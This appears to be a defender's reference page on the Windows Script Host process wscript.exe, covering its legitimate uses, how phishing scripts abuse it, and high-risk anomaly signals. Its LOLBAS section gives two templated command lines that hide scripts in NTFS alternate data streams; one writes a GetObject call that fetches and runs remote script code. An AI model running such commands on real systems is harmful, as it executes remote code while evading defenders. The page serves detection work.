Process

unknown

wscript.exe

wscript.exe is the Windows Script Host in its windowed form, the program that runs VBScript and JScript files (.vbs, .js, .wsf). It is the default handler for a double-clicked script and shows output and prompts as dialog boxes. Logon and admin scripts use it legitimately, but it is also one of the most common ways a malicious script attachment runs.

File identity

File details

Not observed.

Signing information

Not observed.

File version0

Not observed.

File size0

Not observed.

Execution context

File paths0

Not observed.

User context0

Not observed.

Integrity level0

Not observed.

Instances0

Not observed.

Session0

Not observed.

Token privileges0

Not observed.

Ancestry

Parents0

Not observed.

Children0

Not observed.

Grandparents0

Not observed.

Grandchildren0

Not observed.

Behavior

Loaded modules0

Not observed.

Named pipes0

Not observed.

Process handles0

Not observed.

Command-line patterns0

Not observed.

LOLBAS2
  • wscript //e:vbscript {PATH}:script.vbsADS · Execute hidden code to evade defensive counter measures
  • echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.jsADS · Execute hidden code to evade defensive counter measures

Indicators

Hashes

Not observed.

Analysis

About this process

wscript.exe is one of the two front-ends to the Windows Script Host (WSH), the built-in engine that runs scripts written in VBScript and JScript. wscript.exe is the windowed host: it shows script output and WScript.Echo messages as pop-up dialog boxes, and it is the default program for a double-clicked .vbs, .js, .vbe, .jse, or .wsf file. Its console-mode twin is cscript.exe, which writes the same output to a terminal. The genuine binary lives at C:\Windows\System32\wscript.exe, with a 32-bit copy under SysWOW64.

The scripting language is chosen by the file extension or the /e: switch, and the host hands scripts a set of COM objects, WScript.Shell, WScript.Network, Scripting.FileSystemObject, and more, that let them run programs, read and write the registry, and reach the file system. Because so much is reachable through COM, a small .vbs can do a great deal.

Legitimately, wscript.exe is started by a user opening a script, by logon or Group Policy scripts, or by the Task Scheduler. On many desktops it rarely runs at all. Its parent and the script named on its command line are what give an instance meaning.

Security notes

wscript.exe is a top initial-access and execution vector (T1059.005, T1059.007). Emailed .vbs and .js attachments, and scripts smuggled inside ISO or ZIP files, run through this signed host with the user's privileges, so path and signature checks pass and what matters is the script it runs and the process that launched it. A wscript.exe launched by an Office application, or running a script out of Downloads or Temp, is a classic phishing chain.

WSH scripts are commonly just a stager. Through COM objects like MSXML2.XMLHTTP and WScript.Shell.Run, a few lines of VBScript can download the next payload and launch it (T1105). wscript making network connections, or spawning powershell.exe or cmd.exe, is the behavior to catch.

The windowed form is a clue in itself. Because wscript.exe is the default double-click handler, malicious attachments almost always land here, while genuine automation tends to run under cscript.exe. An unexpected wscript.exe usually means a user was tricked into opening something.

Anomaly signals6
  • Image path other than C:\Windows\System32\wscript.exe or its SysWOW64 copyhigh
  • Parent is an Office applicationhigh
  • Running a script from a user-writable path (Temp, AppData, Downloads) or a mounted ISO or ZIPhigh
  • wscript spawning cmd.exe, powershell.exe, or other LOLBINshigh
  • Outbound network connections from wscripthigh
  • A script file with a double extension (invoice.pdf.vbs) or encoded body (.vbe, .jse)med

Telemetry

OS prevalence0

Not observed.

Observation timeline

Not observed.

References

Subsearch

Hasbeen seen inof wscript.exe?